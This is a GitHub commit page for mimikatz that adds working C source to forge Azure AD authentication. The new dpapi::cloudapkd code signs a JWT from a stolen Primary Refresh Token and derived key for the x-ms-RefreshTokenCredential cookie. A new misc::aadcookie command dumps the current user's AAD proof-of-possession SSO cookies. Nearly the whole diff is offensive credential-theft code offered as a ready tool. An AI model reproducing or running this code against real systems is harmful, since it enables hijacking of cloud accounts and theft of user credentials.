Skip to content

Commit

Permalink
[new] dpapi::cloudapkd can now sign a new JWT from the Primary and va…
Browse files Browse the repository at this point in the history
…rious keys / context

[new] misc::aadcookie to get a new JWT for the current user
  • Loading branch information
gentilkiwi committed Aug 7, 2020
1 parent 3c497ec commit 755505b
Show file tree
Hide file tree
Showing 6 changed files with 297 additions and 12 deletions.
177 changes: 170 additions & 7 deletions mimikatz/modules/dpapi/packages/kuhl_m_dpapi_cloudap.c
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,9 @@

NTSTATUS kuhl_m_dpapi_cloudap_keyvalue_derived(int argc, wchar_t * argv[])
{
LPCWSTR szKeyValue, szContext, szLabel, szKeyName;
LPCWSTR szKeyValue, szContext, szLabel, szKeyName, szPrt, szIat, szDerivedKey;
LPSTR sJWT;
__time32_t time32 = 0;
BOOL isValidContext = FALSE, isDerivedKey = FALSE;
PKIWI_POPKEY pKeyValue;
LPVOID pDataOut;
Expand All @@ -25,7 +27,7 @@ NTSTATUS kuhl_m_dpapi_cloudap_keyvalue_derived(int argc, wchar_t * argv[])
{
isValidContext = kull_m_string_stringToHex(szContext, Context, sizeof(Context));
if(!isValidContext)
PRINT_ERROR(L"context must be an hex string of 48 char (24 bytes) -- it will be random\n");
PRINT_ERROR(L"/context must be an hex string of 48 char (24 bytes) -- it will be random\n");
}
if(!isValidContext)
CDGenerateRandomBits(Context, sizeof(Context));
Expand Down Expand Up @@ -94,15 +96,35 @@ NTSTATUS kuhl_m_dpapi_cloudap_keyvalue_derived(int argc, wchar_t * argv[])
LocalFree(pKeyValue);
}
else PRINT_ERROR(L"Unable to decode base64\n");
}
else if(kull_m_string_args_byName(argc, argv, L"derivedkey", &szDerivedKey, NULL))
{
isDerivedKey = kull_m_string_stringToHex(szDerivedKey, DerivedKey, sizeof(DerivedKey));
if(!isDerivedKey)
PRINT_ERROR(L"a /derivedkey must be an hex string of 64 char (32 bytes)\n");
}
else PRINT_ERROR(L"a /keyvalue:base64data (or raw 32/178 bytes in hex) must be present, or a /derivedkey");

if(isDerivedKey)
{
kprintf(L"Derived Key: ");
kull_m_string_wprintf_hex(DerivedKey, sizeof(DerivedKey), 0);
kprintf(L"\n");

if(isDerivedKey)
if(kull_m_string_args_byName(argc, argv, L"prt", &szPrt, NULL))
{
kprintf(L"Derived Key: ");
kull_m_string_wprintf_hex(DerivedKey, sizeof(DerivedKey), 0);
kprintf(L"\n");
if(kull_m_string_args_byName(argc, argv, L"iat", &szIat, NULL))
time32 = wcstol(szIat, NULL, 0);
else _time32(&time32);

kprintf(L"Issued at : %ld\n\nSigned JWT : ", time32);
if(sJWT = generate_simpleSignature(Context, sizeof(Context), szPrt, &time32, DerivedKey, sizeof(DerivedKey)))
{
kprintf(L"%S\n\n(for x-ms-RefreshTokenCredential cookie by eg.)\n", sJWT);
LocalFree(sJWT);
}
}
}
else PRINT_ERROR(L"a /keyvalue:base64data (or raw 32/178 bytes in hex) must be present");
}
return STATUS_SUCCESS;
}
Expand Down Expand Up @@ -200,4 +222,145 @@ BOOL kuhl_m_dpapi_cloudap_keyvalue_derived_hardware(PNCryptBufferDesc bufferDesc
PRINT_ERROR(L"No CNG?\n");
}
return status;
}

PSTR basicEscapeJson(PCSTR toEscape)
{
DWORD i, j, lenEscaped;
PSTR ret = NULL;

j = lenEscaped = lstrlenA(toEscape);
for(i = 0; i < j; i++)
{
if((toEscape[i] == '\"') || (toEscape[i] == '/') || (toEscape[i] == '\\'))
lenEscaped++;
}

if(ret = (PSTR) LocalAlloc(LPTR, lenEscaped + 1))
{
for(i = 0, j = 0; j < lenEscaped; i++, j++)
{
if((toEscape[i] == '\"') || (toEscape[i] == '/') || (toEscape[i] == '\\'))
ret[j++] = '\\';
ret[j] = toEscape[i];
}
}

return ret;
}

PSTR generate_simpleHeader(PCSTR Alg, LPCBYTE Context, DWORD cbContext)
{
PSTR base64 = NULL, header, ctxBase64, escapedCtxBase64;

if(kull_m_string_quick_binary_to_base64A(Context, cbContext, &ctxBase64))
{
if(escapedCtxBase64 = basicEscapeJson(ctxBase64))
{
if(kull_m_string_sprintfA(&header, "{\"alg\":\"%s\", \"ctx\":\"%s\"}", Alg, escapedCtxBase64))
{
kull_m_string_quick_binary_to_urlsafe_base64A((const BYTE *) header, lstrlenA(header), &base64);
LocalFree(header);
}
LocalFree(escapedCtxBase64);
}
LocalFree(ctxBase64);
}
return base64;
}

PSTR generate_simplePayload(PCWSTR PrimaryRefreshToken, __time32_t *iat)
{
PSTR base64 = NULL, payload, prtDec, escapedPrt;
PBYTE data;
DWORD cbData;
__time32_t time32;

if(iat)
time32 = *iat;
else _time32(&time32);

if(kull_m_string_quick_urlsafe_base64_to_Binary(PrimaryRefreshToken, &data, &cbData))
{
if(prtDec = (PSTR) LocalAlloc(LPTR, cbData + 1))
{
RtlCopyMemory(prtDec, data, cbData);
if(escapedPrt = basicEscapeJson(prtDec))
{
if(kull_m_string_sprintfA(&payload, "{\"refresh_token\":\"%s\", \"is_primary\":\"true\", \"iat\":\"%ld\"}", escapedPrt, time32))
{
kull_m_string_quick_binary_to_urlsafe_base64A((const BYTE *) payload, lstrlenA(payload), &base64);
LocalFree(payload);
}
LocalFree(escapedPrt);
}
LocalFree(prtDec);
}
LocalFree(data);
}
return base64;
}

const char cPoint = '.';
PSTR generate_simpleSignature(LPCBYTE Context, DWORD cbContext, PCWSTR PrimaryRefreshToken, __time32_t *iat, LPCBYTE Key, DWORD cbKey)
{
PSTR jwt = NULL, header64, payload64, signature64;
NTSTATUS status;
BCRYPT_ALG_HANDLE hAlgorithm;
BCRYPT_HASH_HANDLE hHash;
DWORD ObjectLength, cbResult;
PUCHAR pbHashObject;
BYTE Hash[32];

if(header64 = generate_simpleHeader("HS256", Context, cbContext))
{
if(payload64 = generate_simplePayload(PrimaryRefreshToken, iat))
{
__try
{
status = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_SHA256_ALGORITHM, MS_PRIMITIVE_PROVIDER, BCRYPT_ALG_HANDLE_HMAC_FLAG);
if(BCRYPT_SUCCESS(status))
{
status = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PUCHAR) &ObjectLength, sizeof(ObjectLength), &cbResult, 0);
if(BCRYPT_SUCCESS(status))
{
if(pbHashObject = (PUCHAR) LocalAlloc(LPTR, ObjectLength))
{
status = BCryptCreateHash(hAlgorithm, &hHash, pbHashObject, ObjectLength, (PUCHAR) Key, cbKey, 0);
if(BCRYPT_SUCCESS(status))
{
BCryptHashData(hHash, (PUCHAR) header64, lstrlenA(header64), 0);
BCryptHashData(hHash, (PUCHAR) &cPoint, sizeof(cPoint), 0);
BCryptHashData(hHash, (PUCHAR) payload64, lstrlenA(payload64), 0);
status = BCryptFinishHash(hHash, Hash, sizeof(Hash), 0);
if(BCRYPT_SUCCESS(status))
{
if(kull_m_string_quick_binary_to_urlsafe_base64A(Hash, sizeof(Hash), &signature64))
{
kull_m_string_sprintfA(&jwt, "%s.%s.%s", header64, payload64, signature64);
LocalFree(signature64);
}
}
else PRINT_ERROR(L"BCryptFinishHash: 0x%08x\n", status);

BCryptDestroyHash(hHash);
}
else PRINT_ERROR(L"BCryptCreateHash: 0x%08x\n", status);
LocalFree(pbHashObject);
}
}
else PRINT_ERROR(L"BCryptGetProperty: 0x%08x\n", status);
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
}
else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", status);
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
{
PRINT_ERROR(L"No CNG?\n");
}
LocalFree(payload64);
}
LocalFree(header64);
}
return jwt;
}
7 changes: 6 additions & 1 deletion mimikatz/modules/dpapi/packages/kuhl_m_dpapi_cloudap.h
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
*/
#pragma once
#include "../kuhl_m_dpapi.h"
#include <time.h>

typedef struct _KIWI_POPKEY {
DWORD version;
Expand All @@ -23,4 +24,8 @@ NTSTATUS kuhl_m_dpapi_cloudap_keyvalue_derived(int argc, wchar_t * argv[]);

BOOL kuhl_m_dpapi_cloudap_keyvalue_derived_software(PNCryptBufferDesc bufferDesc, LPCBYTE Key, DWORD cbKey, PBYTE DerivedKey, DWORD cbDerivedKey);
typedef SECURITY_STATUS (WINAPI * PNCRYPTKEYDERIVATION) (NCRYPT_KEY_HANDLE hKey, NCryptBufferDesc *pParameterList, PUCHAR pbDerivedKey, DWORD cbDerivedKey, DWORD *pcbResult, ULONG dwFlags); // tofix
BOOL kuhl_m_dpapi_cloudap_keyvalue_derived_hardware(PNCryptBufferDesc bufferDesc, LPCWSTR TransportKeyName, LPCBYTE Key, DWORD cbKey, PBYTE DerivedKey, DWORD cbDerivedKey);
BOOL kuhl_m_dpapi_cloudap_keyvalue_derived_hardware(PNCryptBufferDesc bufferDesc, LPCWSTR TransportKeyName, LPCBYTE Key, DWORD cbKey, PBYTE DerivedKey, DWORD cbDerivedKey);

PSTR generate_simpleHeader(PCSTR Alg, LPCBYTE Context, DWORD cbContext);
PSTR generate_simplePayload(PCWSTR PrimaryRefreshToken, __time32_t *iat);
PSTR generate_simpleSignature(LPCBYTE Context, DWORD cbContext, PCWSTR PrimaryRefreshToken, __time32_t *iat, LPCBYTE Key, DWORD cbKey);
47 changes: 44 additions & 3 deletions mimikatz/modules/kuhl_m_misc.c
Original file line number Diff line number Diff line change
Expand Up @@ -23,8 +23,9 @@ const KUHL_M_C kuhl_m_c_misc[] = {
{kuhl_m_misc_wp, L"wp", NULL},
{kuhl_m_misc_mflt, L"mflt", NULL},
{kuhl_m_misc_easyntlmchall, L"easyntlmchall", NULL},
{kuhl_m_misc_clip, L"clip", NULL},
{kuhl_m_misc_xor, L"xor", NULL},
{kuhl_m_misc_clip, L"clip", NULL},
{kuhl_m_misc_xor, L"xor", NULL},
{kuhl_m_misc_aadcookie, L"aadcookie", NULL},
};
const KUHL_M kuhl_m_misc = {
L"misc", L"Miscellaneous module", NULL,
Expand Down Expand Up @@ -1228,4 +1229,44 @@ NTSTATUS kuhl_m_misc_xor(int argc, wchar_t * argv[])
}
else PRINT_ERROR(L"An /input:file is needed\n");
return STATUS_SUCCESS;
}
}

const CLSID CLSID_ProofOfPossessionCookieInfoManager = {0xa9927f85, 0xa304, 0x4390, {0x8b, 0x23, 0xa7, 0x5f, 0x1c, 0x66, 0x86, 0x00}};
const IID IID_IProofOfPossessionCookieInfoManager = {0xcdaece56, 0x4edf, 0x43df, {0xb1, 0x13, 0x88, 0xe4, 0x55, 0x6f, 0xa1, 0xbb}};
NTSTATUS kuhl_m_misc_aadcookie(int argc, wchar_t * argv[])
{
LPCWSTR szURI;
IProofOfPossessionCookieInfoManager *pPOPCookieInfoManager = NULL;
DWORD cookieInfoCount, i;
ProofOfPossessionCookieInfo *cookieInfo;
HRESULT hr;

kull_m_string_args_byName(argc, argv, L"uri", &szURI, L"https://login.microsoftonline.com");
hr = CoCreateInstance(&CLSID_ProofOfPossessionCookieInfoManager, NULL, CLSCTX_INPROC_SERVER, &IID_IProofOfPossessionCookieInfoManager, (void **) &pPOPCookieInfoManager);
if(hr == S_OK)
{
kprintf(L"URI: %s\n\n", szURI);
hr = IProofOfPossessionCookieInfoManager_GetCookieInfoForUri(pPOPCookieInfoManager, szURI, &cookieInfoCount, &cookieInfo);
if(hr == S_OK)
{
kprintf(L"Cookie count: %2u\n----------------\n", cookieInfoCount);
for(i = 0; i < cookieInfoCount; i++)
{
kprintf(L"\nCookie %u\n", i);
kprintf(L" name : %s\n", cookieInfo[i].name);
kprintf(L" data : %s\n", cookieInfo[i].data);
kprintf(L" flags : 0x%08x (%u)\n", cookieInfo[i].flags, cookieInfo[i].flags);
kprintf(L" p3pHeader: %s\n", cookieInfo[i].p3pHeader);

CoTaskMemFree(cookieInfo[i].name);
CoTaskMemFree(cookieInfo[i].data);
CoTaskMemFree(cookieInfo[i].p3pHeader);
}
CoTaskMemFree(cookieInfo);
}
else PRINT_ERROR(L"GetCookieInfoForUri: 0x%08x\n", hr);
IProofOfPossessionCookieInfoManager_Release(pPOPCookieInfoManager);
}
else PRINT_ERROR(L"CoCreateInstance: 0x%08x\n", hr);
return STATUS_SUCCESS;
}
38 changes: 37 additions & 1 deletion mimikatz/modules/kuhl_m_misc.h
Original file line number Diff line number Diff line change
Expand Up @@ -33,6 +33,7 @@ NTSTATUS kuhl_m_misc_mflt(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_easyntlmchall(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_clip(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_xor(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_aadcookie(int argc, wchar_t * argv[]);

BOOL CALLBACK kuhl_m_misc_detours_callback_process(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg);
BOOL CALLBACK kuhl_m_misc_detours_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg);
Expand Down Expand Up @@ -75,4 +76,39 @@ void kuhl_m_misc_wp_for_pid(DWORD pid, PCWCHAR wp);
void kuhl_m_misc_mflt_display(PFILTER_AGGREGATE_BASIC_INFORMATION info);

BOOL WINAPI kuhl_misc_clip_WinHandlerRoutine(DWORD dwCtrlType);
LRESULT APIENTRY kuhl_m_misc_clip_MainWndProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
LRESULT APIENTRY kuhl_m_misc_clip_MainWndProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);

#ifndef __proofofpossessioncookieinfo_h__
#define __proofofpossessioncookieinfo_h__

#ifndef __IProofOfPossessionCookieInfoManager_FWD_DEFINED__
#define __IProofOfPossessionCookieInfoManager_FWD_DEFINED__
typedef interface IProofOfPossessionCookieInfoManager IProofOfPossessionCookieInfoManager;
#endif

typedef struct ProofOfPossessionCookieInfo {
LPWSTR name;
LPWSTR data;
DWORD flags;
LPWSTR p3pHeader;
} ProofOfPossessionCookieInfo;

typedef struct IProofOfPossessionCookieInfoManagerVtbl {
BEGIN_INTERFACE
HRESULT (STDMETHODCALLTYPE *QueryInterface)(IProofOfPossessionCookieInfoManager * This, REFIID riid, __RPC__deref_out void **ppvObject);
ULONG (STDMETHODCALLTYPE *AddRef)(__RPC__in IProofOfPossessionCookieInfoManager * This);
ULONG (STDMETHODCALLTYPE *Release)(__RPC__in IProofOfPossessionCookieInfoManager * This);
HRESULT (STDMETHODCALLTYPE *GetCookieInfoForUri)(__RPC__in IProofOfPossessionCookieInfoManager * This, __RPC__in LPCWSTR uri, __RPC__out DWORD *cookieInfoCount, __RPC__deref_out_ecount_full_opt(*cookieInfoCount) ProofOfPossessionCookieInfo **cookieInfo);
END_INTERFACE
} IProofOfPossessionCookieInfoManagerVtbl;

interface IProofOfPossessionCookieInfoManager {
CONST_VTBL struct IProofOfPossessionCookieInfoManagerVtbl *lpVtbl;
};

#define IProofOfPossessionCookieInfoManager_QueryInterface(This,riid,ppvObject) ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define IProofOfPossessionCookieInfoManager_AddRef(This) ( (This)->lpVtbl -> AddRef(This) )
#define IProofOfPossessionCookieInfoManager_Release(This) ( (This)->lpVtbl -> Release(This) )
#define IProofOfPossessionCookieInfoManager_GetCookieInfoForUri(This,uri,cookieInfoCount,cookieInfo) ( (This)->lpVtbl -> GetCookieInfoForUri(This,uri,cookieInfoCount,cookieInfo) )

#endif
38 changes: 38 additions & 0 deletions modules/kull_m_string.c
Original file line number Diff line number Diff line change
Expand Up @@ -427,6 +427,44 @@ BOOL kull_m_string_quick_urlsafe_base64_to_Binary(PCWSTR badBase64, PBYTE *data,
return status;
}

BOOL kull_m_string_quick_binary_to_base64A(const BYTE *pbData, const DWORD cbData, LPSTR *base64)
{
BOOL status = FALSE;
DWORD dwBytesWritten = 0;
if(CryptBinaryToStringA(pbData, cbData, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &dwBytesWritten))
{
if(*base64 = (LPSTR) LocalAlloc(LPTR, dwBytesWritten))
{
status = CryptBinaryToStringA(pbData, cbData, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, *base64, &dwBytesWritten);
if(!status)
*base64 = (LPSTR) LocalFree(*base64);
}
}
return status;
}

BOOL kull_m_string_quick_binary_to_urlsafe_base64A(const BYTE *pbData, const DWORD cbData, LPSTR *badBase64)
{
BOOL status = FALSE;
DWORD cbLen, i;

status = kull_m_string_quick_binary_to_base64A(pbData, cbData, badBase64);
if(status)
{
cbLen = lstrlenA(*badBase64);
for(i = 0; i < cbLen; i++)
{
if((*badBase64)[i] == '+')
(*badBase64)[i] = '-';
else if((*badBase64)[i] == '/')
(*badBase64)[i] = '_';
else if((*badBase64)[i] == '=')
(*badBase64)[i] = '\0';
}
}
return status;
}

BOOL kull_m_string_EncodeB64_headersA(LPCSTR type, const PBYTE pbData, const DWORD cbData, LPSTR *out)
{
BOOL status = FALSE;
Expand Down
2 changes: 2 additions & 0 deletions modules/kull_m_string.h
Original file line number Diff line number Diff line change
Expand Up @@ -98,6 +98,8 @@ BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst);
#if !defined(MIMIKATZ_W2000_SUPPORT)
BOOL kull_m_string_quick_base64_to_Binary(PCWSTR base64, PBYTE *data, DWORD *szData);
BOOL kull_m_string_quick_urlsafe_base64_to_Binary(PCWSTR badBase64, PBYTE *data, DWORD *szData);
BOOL kull_m_string_quick_binary_to_base64A(const BYTE *pbData, const DWORD cbData, LPSTR *base64);
BOOL kull_m_string_quick_binary_to_urlsafe_base64A(const BYTE *pbData, const DWORD cbData, LPSTR *badBase64);
BOOL kull_m_string_EncodeB64_headersA(LPCSTR type, const PBYTE pbData, const DWORD cbData, LPSTR *out);
#endif
BOOL kull_m_string_sprintf(PWSTR *outBuffer, PCWSTR format, ...);
Expand Down

0 comments on commit 755505b

Please sign in to comment.